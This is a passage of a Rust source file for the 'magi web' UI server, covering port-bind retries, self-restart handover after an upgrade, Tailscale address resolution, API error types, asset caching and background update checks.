858    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
859    fn release(mut self, live: &mut TalkTurns) {
860        live.live.remove(&self.talk);
861        live.queued.remove(&self.talk);
862        self.released = true;
863    }
864}
865
866impl Drop for TalkTurnGuard {
867    fn drop(&mut self) {
868        if self.released {
869            return;
870        }
871        if let Ok(mut live) = self.turns.lock() {
872            live.live.remove(&self.talk);
873            live.queued.remove(&self.talk);
874        }
875    }
876}
877
878/// Releases a resume claim, so a run is resumable again after the attempt.
879struct ResumeGuard {
880    run: String,
881    resuming: Arc<Mutex<HashSet<String>>>,
882}
883
884impl Drop for ResumeGuard {
885    fn drop(&mut self) {
886        if let Ok(mut live) = self.resuming.lock() {
887            live.remove(&self.run);
888        }
889    }
890}
891
892/// Bind the port, waiting briefly for a predecessor to let go of it.
893///
894/// A restart hands the address from one process to the next, and the old one
895/// holds its listener until it unwinds. A single `bind` can lose that race,
896/// and for a restart triggered from a phone that means the deck never comes
897/// back with no terminal around to say why.
898///
899/// Bounded, and only for the one error a wait can fix: anything else fails at
900/// once, because retrying it would turn a clear message into a silence.
901async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
902    const WINDOW: Duration = Duration::from_secs(10);
903    const GAP: Duration = Duration::from_millis(250);
904
905    let deadline = std::time::Instant::now() + WINDOW;
906    let mut said = false;
907    loop {
908        match tokio::net::TcpListener::bind(socket).await {
909            Ok(listener) => return Ok(listener),
910            Err(e)
911                if e.kind() == std::io::ErrorKind::AddrInUse
912                    && std::time::Instant::now() < deadline =>
913            {
914                if !said {
915                    said = true;
916                    tracing::info!(
917                        "{socket} is still held - waiting up to {}s for it, \
918                         which is what a restart looks like from here",
919                        WINDOW.as_secs()
920                    );
921                }
922                tokio::time::sleep(GAP).await;
923            }
924            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
925        }
926    }
927}
928
929/// Signalled when an upgrade has replaced the binary and the successor should
930/// take this address over. One per process: there is one address to hand on.
931static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
932
933/// Start this binary again with the same arguments, detached.
934///
935/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
936/// so the address is already free when the successor binds it. The first
937/// attempt at this spawned the successor two hundred milliseconds before
938/// exiting instead, and the released binary - which has no bind retry - died
939/// on "address already in use" with its stdio sent to null, so the deck
940/// simply never came back.
941///
942/// Detached and without inherited stdio: the successor has to outlive this
943/// process, and must not hold open a pipe a terminal is waiting on.
944fn spawn_successor() -> Result<()> {
945    let exe = std::env::current_exe().context("find this binary")?;
946    let args: Vec<String> = std::env::args().skip(1).collect();
947    tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
948
949    let mut cmd = std::process::Command::new(&exe);
950    cmd.args(&args)
951        .stdin(std::process::Stdio::null())
952        .stdout(std::process::Stdio::null())
953        .stderr(std::process::Stdio::null());
954    #[cfg(windows)]
955    {
956        use std::os::windows::process::CommandExt as _;
957        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
958        // and Ctrl-C in the old terminal must not reach the successor.
959        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
960    }
961    cmd.spawn().context("start the successor")?;
962    Ok(())
963}
964
965/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
966///
967/// The server itself owns no state, so nothing here is graceful for the HTTP
968/// side's sake: the connections go with the dropped listener, which costs a
969/// phone one change-stream reconnection it was going to make anyway.
970///
971/// The signal branch is not optional now that the loop lives in this process.
972/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
973/// handler is what stops the signal terminating the process - so without a
974/// branch of our own, the first Ctrl-C after the operator started the loop
975/// would stop the loop and leave `magi web` listening forever, unkillable
976/// from the terminal it was started in.
977///
978/// What it waits for is the loop, not the sockets. A run in flight is
979/// finished first, for the reason [`daemon::serve`] gives: killing the graph
980/// mid-node leaves worktrees, branches and agent sessions behind and throws
981/// away every agent call already paid for.
982///
983/// The server therefore runs on a task of its own rather than inside the
984/// `select!`: an arm that resolves *drops* the futures the other arms were
985/// polling, so serving the address from inside one would take the deck down
986/// at the instant the handover began and keep it down for the whole park -
987/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
988/// owns the order.
989pub async fn serve(opts: Opts) -> Result<()> {
990    let (addr, warning) = resolve_bind(&opts.bind);
991    if let Some(warning) = warning {
992        tracing::warn!("{warning}");
993    }
994
995    // Process-global, and therefore set exactly once, here: the report route
996    // must never emit escape sequences into a browser, and toggling the flag
997    // per request would race with a concurrent request rendering its own
998    // report. Startup is the only moment at which no request can observe the
999    // change. Nothing in the server turns colour back on.
1000    report::set_color(false);
1001
1002    let repo = normalize_default_repo(opts.repo).await;
1003    let ui = Ui::open(repo).with_merge(opts.merge);
1004    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
1005    // home to bracket the parking and restarting stages, and `run_update_recheck`
1006    // needs both it and the repo, and by then there is no `ui` left to read
1007    // them from.
1008    let home = ui.home.clone();
1009    let repo = ui.repo.clone();
1010    // Settles a progress record a predecessor left non-terminal - either this
1011    // *is* the successor `spawn_successor` started, or the previous process
1012    // died mid-handover. Before the router starts answering, so the very
1013    // first `/api/health` a phone gets from this process already reflects it.
1014    updater::reconcile_after_restart(&home);
1015    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1016    // `spawn_update_check` does at startup only ever runs once: after that,
1017    // `/api/health`'s `update` field - and the phone's "Update & restart"
1018    // button, which reads the very same cache - would stay frozen on
1019    // whatever that single check found, no matter how many releases ship
1020    // afterwards. This keeps it current instead. Detached: it must keep
1021    // going for as long as this process serves, `serve` has nothing to await
1022    // it for, and it exits on its own the moment the process does.
1023    tokio::spawn(run_update_recheck(repo, home.clone()));
1024    let looping = ui.looping();
1025    let socket = SocketAddr::new(addr, opts.port);
1026    let listener = bind_waiting(socket).await?;
1027    let url = format!("http://{addr}:{}", opts.port);
1028    tracing::info!(
1029        "magi web UI on {url} - there is no authentication, so anyone who can \
1030         reach this address can file and hold tasks: the tailnet is the \
1031         security boundary"
1032    );
1033    tracing::info!(
1034        "the queue loop is not running yet - start it from the UI, which is \
1035         the whole reason this process can: nothing in the queue moves until \
1036         something is running the loop"
1037    );
1038    if opts.open {
1039        // The URL alone on stdout, for a caller that wants to open it. magi
1040        // does not spawn a browser: on the machine this usually runs on there
1041        // is no display, and a failed launch would be the only output.
1042        println!("{url}");
1043    }
1044
1045    // On its own task, so nothing this function awaits can stop the address
1046    // being answered. `hand_over` is where it is given up.
1047    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1048    let interrupted = async {
1049        if tokio::signal::ctrl_c().await.is_err() {
1050            // No handler on this platform, so there is no signal to act on.
1051            // Never resolving is the safe answer: a failed registration must
1052            // not masquerade as the operator asking for a shutdown and take
1053            // the UI down on startup.
1054            std::future::pending::<()>().await;
1055        }
1056    };
1057    let handover = HANDOVER.notified();
1058    tokio::select! {
1059        joined = &mut served => match joined {
1060            Ok(outcome) => outcome.context("serve the web UI"),
1061            Err(e) => Err(e).context("the task serving the web UI ended"),
1062        },
1063        () = interrupted => {
1064            tracing::info!("shutting down the web UI");
1065            finish_loop(&looping).await;
1066            Ok(())
1067        }
1068        () = handover => {
1069            tracing::info!("upgraded - handing this address to the successor");
1070            hand_over(&home, &looping, served, spawn_successor).await
1071        }
1072    }
1073}
1074
1075/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1076/// process's own working directory is not a git checkout at all - the
1077/// checkout [`repos::discover_verified`] finds instead.
1078///
1079/// Only the unmodified default is ever replaced: an operator who named a
1080/// directory outright, git checkout or not, gets exactly that directory
1081/// back, and the same story downstream (a talk whose briefing embeds a
1082/// non-git directory, and an agent that has to ask the operator where the
1083/// real repository is) that has always told them so - substituting a guess
1084/// for an explicit answer would be a second, silent opinion about what they
1085/// meant. There is no instruction or task text yet to match against this
1086/// early, so only [`repos::discover_verified`]'s own-repository tier can
1087/// ever settle this - the hint tier never fires here.
1088///
1089/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1090/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1091/// or a git installation that is broken in exactly the way that made the
1092/// original `canonical` check above fail too - so it is re-checked with
1093/// `git::toplevel` before it is ever used in place of the operator's own
1094/// directory.
1095async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1096    if repo != FsPath::new(".") {
1097        return repo;
1098    }
1099    let Ok(canonical) = repo.canonicalize() else {
1100        return repo;
1101    };
1102    if git::toplevel(&canonical).await.is_ok() {
1103        return repo;
1104    }
1105    let Some(home) = dirs::home_dir() else {
1106        return repo;
1107    };
1108    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1109        Some(found) => {
1110            tracing::info!(
1111                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1112                canonical.display(),
1113                found.path.display(),
1114                found.reason,
1115            );
1116            found.path
1117        }
1118        None => repo,
1119    }
1120}
1121
1122/// Park the loop, then release the address, then start the successor.
1123///
1124/// The order is the whole function, and each step is answerable to a failure
1125/// this arrangement has already had:
1126///
1127/// 1. **Park.** The loop was asked to stop by the request that replaced the
1128///    binary, and this waits for it, because killing the graph mid-node
1129///    leaves worktrees, branches and agent sessions behind and throws away
1130///    every agent call already paid for. It takes as long as the node in
1131///    flight - up to `timeout_implement`, an hour by default - and the deck
1132///    goes on answering for all of it, which is the reason `served` is a task
1133///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1134///    first upgrade from a phone that caught a run mid-implement dropped the
1135///    listener the moment it was asked to, and the operator got
1136///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1137///    waiting on and nothing but a process list to say the run was alive.
1138/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1139///    the join resolves only once the task's future has been dropped, so the
1140///    listener is released before the next line. Connections it already
1141///    accepted are served on tasks of their own and wind down asynchronously;
1142///    on some platforms (macOS) they can briefly keep the address busy, and
1143///    the successor's `bind_waiting` absorbs that.
1144/// 3. **Start the successor**, which binds the address this process has just
1145///    let go of - see [`spawn_successor`] for what the other order cost.
1146///
1147/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1148/// reporting, not part of the design: it exists so `/api/health` can say
1149/// "parking, waiting on run X" instead of leaving the phone to guess why the
1150/// deck went quiet, and dropping it would not change the order above.
1151async fn hand_over(
1152    home: &FsPath,
1153    looping: &Mutex<LoopState>,
1154    served: tokio::task::JoinHandle<std::io::Result<()>>,
1155    successor: impl FnOnce() -> Result<()>,
1156) -> Result<()> {
1157    if let Some(mut progress) = updater::read_progress(home) {
1158        progress.advance(updater::Stage::Parking);
1159        let _ = updater::write_progress(home, &progress);
1160    }
1161    finish_loop(looping).await;
1162    served.abort();
1163    let _ = served.await;
1164    if let Some(mut progress) = updater::read_progress(home) {
1165        progress.advance(updater::Stage::Restarting);
1166        let _ = updater::write_progress(home, &progress);
1167    }
1168    successor()
1169}
1170
1171/// Ask the loop to stop and wait for it, on the way out of [`serve`].
1172///
1173/// The wait is the whole function. Returning from `serve` while a graph is
1174/// mid-node ends the process with worktrees, branches and agent sessions left
1175/// behind and every agent call in that run paid for and thrown away, which is
1176/// exactly what the daemon's own shutdown refuses to do.
1177async fn finish_loop(state: &Mutex<LoopState>) {
1178    let live = lock_or_recover(state).live.take();
1179    let Some(live) = live else { return };
1180    live.stop.stop();
1181    lock_or_recover(state).rev += 1;
1182    tracing::info!("waiting for the loop to finish the run in flight");
1183    // The task records its own outcome and logs it, so there is nothing to do
1184    // with a join error here but stop waiting.
1185    let _ = live.handle.await;
1186}
1187
1188/// Resolve `--bind` to an address, plus a warning when the answer is not what
1189/// the operator asked for.
1190///
1191/// Split out from [`serve`] because the interesting half - deciding whether
1192/// Tailscale gave us something usable - is testable without opening a socket.
1193pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1194    match bind {
1195        Bind::Addr(addr) => (*addr, None),
1196        Bind::Auto => match tailscale_ip() {
1197            Ok(ip) => (IpAddr::V4(ip), None),
1198            Err(why) => (
1199                IpAddr::V4(Ipv4Addr::LOCALHOST),
1200                Some(format!(
1201                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1202                     local-only and a phone cannot reach it; start Tailscale \
1203                     or pass --bind <addr>"
1204                )),
1205            ),
1206        },
1207    }
1208}
1209
1210/// This machine's Tailscale IPv4, or why there is not one.
1211///
1212/// `tailscale ip -4` is a local call against the running daemon and returns in
1213/// milliseconds, so it is fine to make it synchronously before the server
1214/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1215/// CGNAT block Tailscale assigns from, and anything else on that output would
1216/// be a different tool answering.
1217fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1218    let out = std::process::Command::new("tailscale")
1219        .args(["ip", "-4"])
1220        .quiet()
1221        .output()
1222        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1223    if !out.status.success() {
1224        let why = String::from_utf8_lossy(&out.stderr);
1225        let why = why.trim();
1226        return Err(format!(
1227            "`tailscale ip -4` failed ({}){}",
1228            out.status,
1229            if why.is_empty() {
1230                String::new()
1231            } else {
1232                format!(": {why}")
1233            }
1234        ));
1235    }
1236    String::from_utf8_lossy(&out.stdout)
1237        .lines()
1238        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1239        .find(is_tailnet)
1240        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1241}
1242
1243/// Is this address in the CGNAT block Tailscale hands out from?
1244fn is_tailnet(ip: &Ipv4Addr) -> bool {
1245    let o = ip.octets();
1246    o[0] == 100 && (64..=127).contains(&o[1])
1247}
1248
1249/// What every handler returns. Spelled out because `Result` in this crate is
1250/// `anyhow::Result`, and a handler's error is a status code as much as a
1251/// message.
1252type ApiResult<T> = std::result::Result<T, ApiError>;
1253
1254/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1255#[derive(Debug)]
1256struct ApiError {
1257    status: StatusCode,
1258    message: String,
1259}
1260
1261impl ApiError {
1262    /// The client asked for something malformed.
1263    fn bad_request(message: impl Into<String>) -> Self {
1264        Self {
1265            status: StatusCode::BAD_REQUEST,
1266            message: message.into(),
1267        }
1268    }
1269
1270    /// No such run or task.
1271    fn not_found(message: impl Into<String>) -> Self {
1272        Self {
1273            status: StatusCode::NOT_FOUND,
1274            message: message.into(),
1275        }
1276    }
1277
1278    /// Someone else owns the thing the client wants to change.
1279    /// Re-badge an error whose default mapping is wrong for this route.
1280    fn with_status(mut self, status: StatusCode) -> Self {
1281        self.status = status;
1282        self
1283    }
1284
1285    /// A rules violation from a domain type, reported as the caller's fault.
1286    /// `Question::answer` rejects an unoffered choice, and that is a bad
1287    /// request, not a server error.
1288    fn bad_request_from(e: anyhow::Error) -> Self {
1289        Self::bad_request(format!("{e:#}"))
1290    }
1291
1292    fn conflict(message: impl Into<String>) -> Self {
1293        Self {
1294            status: StatusCode::CONFLICT,
1295            message: message.into(),
1296        }
1297    }
1298
1299    /// Our fault, or the disk's.
1300    fn internal(message: impl Into<String>) -> Self {
1301        Self {
1302            status: StatusCode::INTERNAL_SERVER_ERROR,
1303            message: message.into(),
1304        }
1305    }
1306}
1307
1308impl From<anyhow::Error> for ApiError {
1309    /// Errors from `queue` and `run` carry their context chain, and the whole
1310    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1311    /// value at line 3" is a message an operator can act on, and there is no
1312    /// secret in a path on a single-user tailnet.
1313    fn from(e: anyhow::Error) -> Self {
1314        Self::internal(format!("{e:#}"))
1315    }
1316}
1317
1318impl IntoResponse for ApiError {
1319    fn into_response(self) -> Response {
1320        let body = serde_json::json!({ "error": self.message });
1321        (self.status, Json(body)).into_response()
1322    }
1323}
1324
1325/// Run a handler's filesystem work off the executor.
1326///
1327/// Every route that touches the disk goes through here rather than each one
1328/// arguing about whether its own read is small enough. Uniform because the
1329/// expensive case is not rare: `run.json` for a finished competition holds
1330/// every judgement, deliberation turn and review round, so listing a few
1331/// hundred runs is megabytes of parsing, and the executor threads doing it are
1332/// the same ones serving the change stream of every other connected phone.
1333async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1334where
1335    T: Send + 'static,
1336{
1337    match tokio::task::spawn_blocking(job).await {
1338        Ok(result) => result,
1339        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1340    }
1341}
1342
1343/// Cache policy for the three compiled-in front-end files.
1344///
1345/// The whole interface is `include_str!`ed into the binary, so its content
1346/// changes only when the binary does - and a phone that keeps a copy is
1347/// welcome to, right up until the deck is replaced. Without a single cache
1348/// header, browsers were free to invent their own policy, and one did:
1349/// yukimemi's phone went on showing "Candidates must be folded before
1350/// deleting. Run `magi fold` first." - a sentence deleted two releases
1351/// earlier - from a run detail served by a deck that no longer contained it.
1352/// The delete button he was told about was right there, and unreachable.
1353///
1354/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1355/// every time, the answer is a 304 costing one small round trip while the
1356/// deck is unchanged, and the moment it is replaced the tag differs and the
1357/// new interface arrives. Correctness over bytes - this is one file of a few
1358/// tens of kilobytes on a tailnet, and being a version behind is not a
1359/// cosmetic problem when the difference is whether a button exists.
1360const ASSET_CACHE: &str = "no-cache, must-revalidate";
1361
1362/// `ETag` for the compiled-in assets, distinct per build.
1363///
1364/// The version alone would leave a locally built deck - `cargo install
1365/// --path .` twice at the same version, which is the normal way to iterate -
1366/// serving a stale tag for changed bytes. The build timestamp is what makes
1367/// two builds of `0.3.0` differ.
1368fn asset_etag() -> &'static str {
1369    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1370        format!(
1371            "\"{}-{}\"",
1372            env!("CARGO_PKG_VERSION"),
1373            // Length is a cheap, deterministic stand-in for a hash: the
1374            // three files are compiled in together, so any edit to any of
1375            // them almost certainly changes the total, and a rebuild is what
1376            // this needs to track rather than every possible byte pattern.
1377            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1378        )
1379    });
1380    &TAG
1381}
1382
1383/// Headers for a compiled-in asset of `mime`.
1384fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1385    [
1386        (header::CONTENT_TYPE, mime),
1387        (header::CACHE_CONTROL, ASSET_CACHE),
1388        (header::ETAG, asset_etag()),
1389    ]
1390}
1391
1392/// Serve a compiled-in asset, answering `304` when the client already has it.
1393///
1394/// axum does not compare `If-None-Match` for us, and a header the server sets
1395/// but never honours is worse than none: the phone revalidates on every load
1396/// and is handed the whole file back each time. Doing the comparison is what
1397/// makes `must-revalidate` cost one small round trip rather than the
1398/// interface.
1399fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1400    let tag = asset_etag();
1401    let known = headers
1402        .get(header::IF_NONE_MATCH)
1403        .and_then(|v| v.to_str().ok())
1404        // A revalidating client may send several, and a proxy may weaken the
1405        // tag to `W/"..."`; matching on containment covers both without
1406        // parsing the grammar.
1407        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1408    if known {
1409        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1410    }
1411    (asset_headers(mime), body).into_response()
1412}
1413
1414async fn index(headers: header::HeaderMap) -> Response {
1415    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1416}
1417
1418async fn app_css(headers: header::HeaderMap) -> Response {
1419    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1420}
1421
1422async fn app_js(headers: header::HeaderMap) -> Response {
1423    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1424}
1425
1426/// What `/api/health` answers.
1427#[derive(Debug, Serialize)]
1428struct HealthView {
1429    version: &'static str,
1430    home: String,
1431    queue_rev: u64,
1432    runs_rev: u64,
1433    /// The same revisions [`events`] streams for the question and talk
1434    /// stores.
1435    ///
1436    /// Here because this route is what the front end falls back to when the
1437    /// change stream is not up - it re-polls health on a timer and on wake, and
1438    /// takes the revisions from the answer. Without these the fallback
1439    /// compares `undefined` against `undefined` for both stores, decides
1440    /// nothing moved, and a phone with a dead stream never learns that a
1441    /// question was asked or that a talk took a turn. `queue_rev` and
1442    /// `runs_rev` above have always been here for exactly this reason; the rule
1443    /// is that every revision the stream carries, this route carries too.
1444    questions_rev: u64,
1445    /// See [`HealthView::questions_rev`]. The standing chat's own store.
1446    talks_rev: u64,
1447    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1448    /// is not on disk anywhere, so a phone with no change stream has no other
1449    /// way to notice that the loop it is waiting on was started from another
1450    /// device.
1451    loop_rev: u64,
1452    /// Runs on disk whose state this build cannot parse - almost always a
1453    /// schema bump, occasionally a run killed mid-write.
1454    ///
1455    /// Reported because the list silently skips them, and "no competitions
1456    /// yet" is a lie when six of them are sitting in the runs directory. The
1457    /// terminal deck learned the same lesson: a run that fails to parse must
1458    /// not disappear from the count.
1459    runs_unreadable: usize,
1460    /// The disk, and what the runs and their worktrees occupy on it.
1461    ///
1462    /// This is the incident the janitor exists for: magi alone put 30 GB into
1463    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1464    /// is exactly where the operator learns "the disk is the constraint" -
1465    /// the diagnosis that a run is being held for want of space has to be
1466    /// checkable on the same screen.
1467    disk: DiskView,
1468    /// Questions nobody has answered yet, including ones an owner talked
1469    /// back on and is now waiting for the agent's reply to. A round trip
1470    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
1471    /// while the ball is in the agent's court - see
1472    /// [`crate::ask::Questions::count_open`].
1473    questions_open: usize,
1474    /// Of those, how many actually need the owner right now: open, and not
1475    /// [`crate::ask::Question::waiting_on_agent`].
1476    ///
1477    /// The one number that means "nothing will happen until a human acts" -
1478    /// a parked run consumes nothing and progresses never - and the count the
1479    /// ask bar, the nav badge and the document title fall back to before
1480    /// `/api/questions` has answered, so those notification channels clear
1481    /// the instant the owner asks back and reappear the instant the agent
1482    /// replies, instead of sitting lit for however long the agent thinks.
1483    questions_needs_owner: usize,
1484    daemon: DaemonView,
1485    /// The loop in this process, exactly what `/api/loop` answers with.
1486    ///
1487    /// Here so a phone that has just woken needs one request to know whether
1488    /// anything is going to happen at all: `daemon` says a loop is alive
1489    /// somewhere, and this says whether it is one this UI can stop.
1490    #[serde(rename = "loop")]
1491    looping: LoopView,
1492    /// Whether a release newer than this build is known, and which.
1493    ///
1494    /// From [`updater::Checker::cached_update`] - the same throttled state the
1495    /// CLI's `notify` mode banners from - never a live check: this route is
1496    /// polled every few seconds, and a live check on each poll would spend
1497    /// GitHub's rate limit before the operator finished reading the strip.
1498    update: UpdateView,
1499    /// The self-upgrade this deck last set in motion, or `null` before the
1500    /// first one. Read off disk, so the successor can report what its
1501    /// predecessor started.
1502    upgrade: Option<UpgradeProgressView>,
1503}
1504
1505/// What `/api/health` knows about a release newer than this build.
1506///
1507/// A plain `Option<String>` for `to` could not distinguish "checked, and this
1508/// is already the newest" from "never checked" - both are `None` - and the
1509/// phone needs to tell those apart to decide whether the deck can be trusted
1510/// to have an opinion at all.
1511#[derive(Debug, Serialize)]
1512struct UpdateView {
1513    /// A newer release is known to exist.
1514    available: bool,
1515    /// Its tag, when `available`.
1516    to: Option<String>,
1517}
1518
1519/// [`updater::Progress`] as `/api/health` reports it.
1520#[derive(Debug, Serialize)]
1521struct UpgradeProgressView {
1522    stage: updater::Stage,
1523    from: String,
1524    to: Option<String>,
1525    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
1526    /// the step it is finishing before the address is handed over.
1527    waiting_on: Option<String>,
1528    started_at: Timestamp,
1529    updated_at: Timestamp,
1530    detail: Option<String>,
1531}
1532
1533/// Whether [`run_update_recheck`] may act at all this tick.
1534///
1535/// The same two conditions [`updater::Checker::new`] and
1536/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
1537/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
1538/// GitHub from this process" - on a button press or on a timer alike.
1539fn should_spawn_recheck(cfg: &Update) -> bool {
1540    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1541}
1542
1543/// Whether this tick should actually reach the network, once checking itself
1544/// is allowed.
1545///
1546/// An upgrade already in flight must not be raced by a check that discovers
1547/// a *newer* release while one is still installing - a phone watching
1548/// `/api/health` would see the answer change out from under the upgrade it
1549/// already asked for. Past that, [`updater::Checker::should_check`] is the
1550/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
1551/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
1552/// polling period, is what keeps this task's network use to at most once per
1553/// `[update] interval` regardless of how often it wakes up.
1554fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1555    if progress.is_some_and(|p| !p.stage.terminal()) {
1556        return false;
1557    }
1558    checker.should_check()
1559}
1560
1561/// How long [`run_update_recheck`] sleeps before its next wake-up.
1562///
1563/// A fraction of the configured `[update] interval` rather than a fixed
1564/// number: a fixed sleep longer than a short custom interval would leave the
1565/// deck waiting on its own wake-up rather than on `should_check`, so an
1566/// operator who set `interval = "1m"` to make the UI catch up quickly would
1567/// not see that take effect until the next restart - exactly the bug this
1568/// task exists to fix, just moved one level down. Scaling with the interval
1569/// keeps the wake-up prompt relative to what was actually configured, while
1570/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
1571/// still what caps the network calls themselves at one per interval,
1572/// regardless of how often this fires.
1573fn recheck_poll_period(cfg: &Update) -> Duration {
1574    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1575}
1576
1577/// Keep `/api/health`'s `update` field current for as long as `magi web`
1578/// stays up.
1579///
1580/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
1581/// which is enough for every other command: they exit in seconds. `magi web`
1582/// can run for days, so a single startup check leaves the cache - and the
1583/// phone's "Update & restart" button, which reads it via
1584/// [`cached_update_view`] - frozen on whatever that one look found, however
1585/// many releases ship afterwards. This is what notices the rest of them,
1586/// re-reading the config each tick so a `magi.toml` edit while the server is
1587/// up takes effect without a restart, the same way every other route here
1588/// already does - both for whether checking is on at all and for how long
1589/// the next sleep should be.
1590///
1591/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
1592/// "install"`: swapping the running binary out from under a task or a run
1593/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
1594/// not as a side effect of a timer nobody asked to fire. This only ever
1595/// calls [`updater::Checker::newer_release`], which refreshes
1596/// `last_update_check.json` and nothing else - so under `mode = "install"`
1597/// this behaves like `notify` for as long as the deck stays up, and an
1598/// actual self-install still happens exactly where it always has: once, at
1599/// the next process start.
1600async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1601    loop {
1602        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1603        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1604        if !should_spawn_recheck(&cfg.update) {
1605            continue;
1606        }
1607        let Some(checker) = updater::Checker::new(&cfg.update) else {
1608            continue;
1609        };
1610        let progress = updater::read_progress(&home);
1611        if !update_recheck_due(&checker, progress.as_ref()) {
1612            continue;
1613        }
1614        if let Err(e) = checker.newer_release().await {
1615            tracing::warn!("background update recheck failed: {e:#}");
1616        }
1617    }
1618}
1619
1620/// [`UpdateView`] from the same throttled, disk-only state
1621/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
1622/// never a live check. `[update] mode = "off"` answers "unknown" the same as
1623/// no cached state at all, which is correct: an operator who turned checking
1624/// off gets no opinion, not a stale one.
1625fn cached_update_view(repo: &FsPath) -> UpdateView {
1626    let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1627    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1628    match latest {
1629        Some(latest) => UpdateView {
1630            available: true,
1631            to: Some(latest.tag_name),
1632        },
1633        None => UpdateView {
1634            available: false,
1635            to: None,
1636        },
1637    }
1638}
1639
1640/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
1641/// from the parked run's own state when the stage is
1642/// [`updater::Stage::Parking`] - the run and the node it is finishing are
1643/// already on disk in `run.json`, so this reads them fresh rather than
1644/// trusting whatever was true the moment the park was requested.
1645fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1646    let waiting_on = (progress.stage == updater::Stage::Parking)
1647        .then_some(progress.parked_run.as_deref())
1648        .flatten()
1649        .and_then(|id| read_run(&ui.runs, id).ok())
1650        .map(|run| {
1651            format!(
1652                "run {} is finishing {} before the address is handed over",
1653                run.short(),
1654                run.status.as_str()
1655            )
1656        });
1657    UpgradeProgressView {
1658        stage: progress.stage,
1659        from: progress.from,
1660        to: progress.to,
1661        waiting_on,
1662        started_at: progress.started_at,
1663        updated_at: progress.updated_at,
1664        detail: progress.detail,
1665    }
1666}
1667
1668/// The disk figures `/api/health` carries. Every number is produced by
1669/// [`crate::disk`], the same code that decides a run may not start, so the
1670/// health screen and the gate cannot disagree about what the machine looks
1671/// like.
1672#[derive(Debug, Serialize)]
1673struct DiskView {
1674    /// Free bytes on the volume holding the runs, when measurable.
1675    #[serde(skip_serializing_if = "Option::is_none")]
1676    free_bytes: Option<u64>,
1677    /// Everything the runs directory occupies, unreadable runs included.
1678    runs_bytes: u64,
1679    /// Everything the runs' worktrees occupy.
1680    worktrees_bytes: u64,
1681    /// The shared build cache's size, when the config names one.
1682    #[serde(skip_serializing_if = "Option::is_none")]
1683    cache_bytes: Option<u64>,
1684}
1685
1686impl DiskView {
1687    /// Measure the three directories and re-read the config's cache.
1688    fn of(ui: &Ui) -> Self {
1689        let cache_bytes = Config::discover(&ui.repo, None)
1690            .ok()
1691            .and_then(|(cfg, _)| cfg.cache_dir())
1692            .map(|dir| crate::disk::dir_size(&dir));
1693        Self {
